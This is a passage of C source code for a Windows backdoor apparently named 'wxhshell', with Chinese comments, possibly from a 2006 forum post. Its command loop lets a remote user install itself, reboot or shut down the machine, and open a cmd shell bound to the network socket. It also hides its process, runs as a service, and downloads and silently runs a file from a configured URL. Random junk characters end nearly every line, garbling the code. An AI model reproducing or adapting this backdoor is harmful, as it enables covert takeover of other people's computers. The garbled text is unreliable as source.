  if(DownloadFile(cmd,wsh)) |!9xL*A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); bS2g4]$'po  
  else {lH'T1^m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AT+ l%%   
  } ;l~a|KW0  
  else { ~nhO*bs}7{  
j~1K(=Ng  
    switch(cmd[0]) { !yPy@eP~  
  ?P-O4  
  // 帮助 e"wz b< b  
  case '?': { <" nWGF4d  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b r Iz8]  
    break; l?2  
  } i+qg*o$  
  // 安装 ;4ybkOD  
  case 'i': { wn?oHz*  
    if(Install()) }nX0h6+1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dQ7iieT  
    else ]Q ]y*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tx~w(A4:  
    break; $kxP5q%9  
    } $u.rO7)  
  // 卸载 (*P`  
  case 'r': { ;akW i]  
    if(Uninstall()) 3vcyes-U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ahl&2f\  
    else OblHN*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;l _b.z0^6  
    break; 6WQN !H8+^  
    } z[1uub,)1  
  // 显示 wxhshell 所在路径 ?g{[U0)  
  case 'p': { T)sIV5bk  
    char svExeFile[MAX_PATH]; {q`8+$Z;  
    strcpy(svExeFile,"\n\r"); iAQ[;M 3p  
      strcat(svExeFile,ExeFile); p<H_]|7$7U  
        send(wsh,svExeFile,strlen(svExeFile),0); x}pH'S7  
    break; G#e]J;   
    } \fEG5/s}T  
  // 重启 D{Nd2G  
  case 'b': { G-2~$ u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q[VQ?b~9  
    if(Boot(REBOOT)) l"E{ ?4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $)"T9 $>$  
    else { p@% Pdx  
    closesocket(wsh); $3l#eKZA  
    ExitThread(0); 5hy7} *dR  
    } NZv8#  
    break; |v%$Q/zp&  
    } U5N|2  
  // 关机 :AFW=e@<  
  case 'd': { k^8;3#xG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C_/eNu\I  
    if(Boot(SHUTDOWN)) d;p3cW"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H @k }  
    else { ]:D&kTc  
    closesocket(wsh); FS&QF@dtgf  
    ExitThread(0); -e(<Jd_=  
    } -s2)!Iko&  
    break; *Vq'%b9  
    } ]Ss63Vd  
  // 获取shell l<uI-RX "  
  case 's': { Uz,P^\8^$  
    CmdShell(wsh); Jj [3rt?8  
    closesocket(wsh); Mn/  
    ExitThread(0); !PGCoI  
    break; { CR`~)v&  
  } ,"`3N2!Y}  
  // 退出 }NwmZ w>_  
  case 'x': { )e P Qxx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cj3Xp~  
    CloseIt(wsh); 9 c9$cnQ  
    break; xjU0&  
    } Zy3F%]V0  
  // 离开 `Zo5!"'  
  case 'q': { jrN 5l1np  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *!y04'p`<  
    closesocket(wsh); c^1JSGv  
    WSACleanup(); OfBWf6b  
    exit(1); aC1 xt(  
    break; .Qn#wub  
        } M5+R8ttc  
  } =/|GWQ j  
  } #S/~1{   
hlV(jz  
  // 提示信息 p+b9D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =v\}y+ Yh  
} /_cpS q  
  } 2& Hl wpx  
UdkNb}L  
  return; p%>!1_'(  
} ~l'[P=R+8  
/ zNVJhC  
// shell模块句柄 :/=P6b;  
int CmdShell(SOCKET sock) 4IfkYM  
{ w/o8R3 F  
STARTUPINFO si; 9m>L\&\_e  
ZeroMemory(&si,sizeof(si)); Th%w-19,8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lmoYQFkYP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |AvsT{2  
PROCESS_INFORMATION ProcessInfo; hOLlZP+  
char cmdline[]="cmd"; l>`S<rGe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8b,Z)"(U3  
  return 0; >^9j>< Z  
} K ~\b+  
qfFa" a  
// 自身启动模式 LL3| U  
int StartFromService(void) fy>3#`T-  
{ ~8k`~t!  
typedef struct ]A-LgDsS  
{ jK6dI 7h  
  DWORD ExitStatus; ?P7QAolrr  
  DWORD PebBaseAddress; %iIr %P?  
  DWORD AffinityMask; l@UF-n~[  
  DWORD BasePriority; >/C,1}p[  
  ULONG UniqueProcessId; 9} C(M?d  
  ULONG InheritedFromUniqueProcessId; L)|hjpQ  
}   PROCESS_BASIC_INFORMATION; FN sSJU3ld  
U/U_q-z]  
PROCNTQSIP NtQueryInformationProcess; nrpbQ(zI*  
T[},6I|!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A;C4>U Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O[1Q#  
,bzgjw+R5  
  HANDLE             hProcess; 0[g5[?Vy  
  PROCESS_BASIC_INFORMATION pbi; i0x[w>\-  
-t`KCf,0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  /*S6/#  
  if(NULL == hInst ) return 0; }FV_jJ  
'#lEUlB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3WkrG.$[b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,0Udz0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); REJBm  
}darXtZKkK  
  if (!NtQueryInformationProcess) return 0; }236{)DuN  
Pa\yp?({q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G7-.d/8|^  
  if(!hProcess) return 0; W}(xE?9&  
sV~|9/r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M _Lj5`  
W7V#G(cpU  
  CloseHandle(hProcess); sDHFZ:W  
`kOp9(Q{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _3KfY  
if(hProcess==NULL) return 0; IU}g[O Cu  
]tK<[8Y  
HMODULE hMod; MGKSaP;x  
char procName[255]; g( eA?  
unsigned long cbNeeded; w~9Y=|YI7  
[9CBTS r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +>mU4Fwp  
Z79Y$d>G<E  
  CloseHandle(hProcess); %. IW H9P7  
|oOA;JC)(  
if(strstr(procName,"services")) return 1; // 以服务启动 d5LL( "  
[DSzhi]  
  return 0; // 注册表启动 J72kjj&C  
} ]CnT4[f!  
_B==S4^/yU  
// 主模块 [QT H~  
int StartWxhshell(LPSTR lpCmdLine) Bb5RZ#oa  
{ ^j_t{h)W(0  
  SOCKET wsl; PTA_erU  
BOOL val=TRUE; bb`DyUy ^+  
  int port=0; QN~9O^  
  struct sockaddr_in door; -Ze2]^#dl  
#k)J);&ZA  
  if(wscfg.ws_autoins) Install(); 8g_GXtn(z  
/Q9iO&Vu  
port=atoi(lpCmdLine); @2A&eLw LH  
g9gyx/'*  
if(port<=0) port=wscfg.ws_port; Bd13p_V"6  
@F5QgO J&r  
  WSADATA data; ?0+J"FH# W  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?B4X&xf.D  
g>f_'7F&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   H]f8W]"c[  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); M059"X="  
  door.sin_family = AF_INET; /@s(8{;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q S.w#"X[  
  door.sin_port = htons(port); Z2\Xe~{  
iJ`v3PP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { llBW*4'  
closesocket(wsl); 24_/JDz  
return 1; tj!~7lo  
} _ <pO<S  
9d,2d5Y  
  if(listen(wsl,2) == INVALID_SOCKET) { ?m.Ry  
closesocket(wsl); ]M9r<x*  
return 1; ZEU/6.  
} %?:eURQ  
  Wxhshell(wsl); =g^JJpS  
  WSACleanup(); {B6tGLt#bf  
`OyYo^+D|.  
return 0; :,dO7dJi  
ApAHa]Ccp  
} (=i+{ 3`|  
FHu+dZ  
// 以NT服务方式启动 _Nq7_iT0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >_?Waz %  
{ <~!R|5sK  
DWORD   status = 0; !Ry4 w|w  
  DWORD   specificError = 0xfffffff; :E9@9>3S  
k<NEauQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Z0%Qy+%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /3v`2=b  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L[:b\ O/p,  
  serviceStatus.dwWin32ExitCode     = 0; 3/((7O[  
  serviceStatus.dwServiceSpecificExitCode = 0; < G:G/  
  serviceStatus.dwCheckPoint       = 0; ob.=QQQs  
  serviceStatus.dwWaitHint       = 0; {5gh.  
-r"h [UV)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); iYxpIqWw  
  if (hServiceStatusHandle==0) return; 5PCKBevV  
H#j Z'I  
status = GetLastError(); 8klu*  
  if (status!=NO_ERROR) "*aL(R  
{ dD8f`*"*=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HBnnIbEtF'  
    serviceStatus.dwCheckPoint       = 0; )[hQK_e]  
    serviceStatus.dwWaitHint       = 0; .q7o7J%  
    serviceStatus.dwWin32ExitCode     = status; [S!_ubP5  
    serviceStatus.dwServiceSpecificExitCode = specificError; )o8]MWT\;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pO_L,~<  
    return; ({AqL#x`u  
  } | sio:QP  
tO ^KCnL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~<#!yRy>r  
  serviceStatus.dwCheckPoint       = 0; U#!f^@&AB  
  serviceStatus.dwWaitHint       = 0; !G3d5d2)C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 07L 1 "  
} |cE 69UFB  
$>fMu   
// 处理NT服务事件,比如:启动、停止 ^h@1tFF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2oFHP_HVfu  
{ As7Y4w*+  
switch(fdwControl) mN:p=.& <  
{ RK`C31Ws  
case SERVICE_CONTROL_STOP: ?N*|S)BN  
  serviceStatus.dwWin32ExitCode = 0; r8E)GBH-|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /Z*XKIU6v/  
  serviceStatus.dwCheckPoint   = 0; g4 |s9RMD  
  serviceStatus.dwWaitHint     = 0; u`vOKajpH$  
  { 7 a}qnk %  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); DVq 5[ntG  
  } dLMKfh/4Q  
  return; 2,X~a;+  
case SERVICE_CONTROL_PAUSE: eD481r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <X_I`  
  break; 3o=K?eOdg  
case SERVICE_CONTROL_CONTINUE: pkL&j<{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Yw\PmRL"p  
  break; fc #zhp5bX  
case SERVICE_CONTROL_INTERROGATE: &u'$q  
  break; $fwv'  
}; 2%Y]M%P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KGsH3{r  
} T~rPpi&  
`'{>2d%\g  
// 标准应用程序主函数 Q,mmHw.`J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q^_PR|  
{ v} $KlT  
Xn'{g  
// 获取操作系统版本 }qf)L .  
OsIsNt=GetOsVer(); .*s1d)\:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lklMdsIdj  
M 8BN'% S  
  // 从命令行安装 Ok=RhoZZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); iwl\&uNQU  
[y}0X^9,E  
  // 下载执行文件 ;r_YEPlZ  
if(wscfg.ws_downexe) { zMkjdjb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l25E!E-'b  
  WinExec(wscfg.ws_filenam,SW_HIDE); =;9*gDfD  
} i0%S6vmaS  
7aJLC!  
if(!OsIsNt) { ^$7Lmd.qI  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~EVD NnHEr  
HideProc(); a;Q.R  
StartWxhshell(lpCmdLine); q.l" Y#d  
} Fx.hti  
else +d0&(b  
  if(StartFromService()) \WnI&nu  
  // 以服务方式启动 J<<0U;  
  StartServiceCtrlDispatcher(DispatchTable); <= xmJx-V  
else +|N!(H  
  // 普通方式启动 ,[lS)`G  
  StartWxhshell(lpCmdLine); ix<sorR H  
k#I4^  
return 0; S&A, Q'  
}
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只看该作者 1 发表于: 2006-10-10
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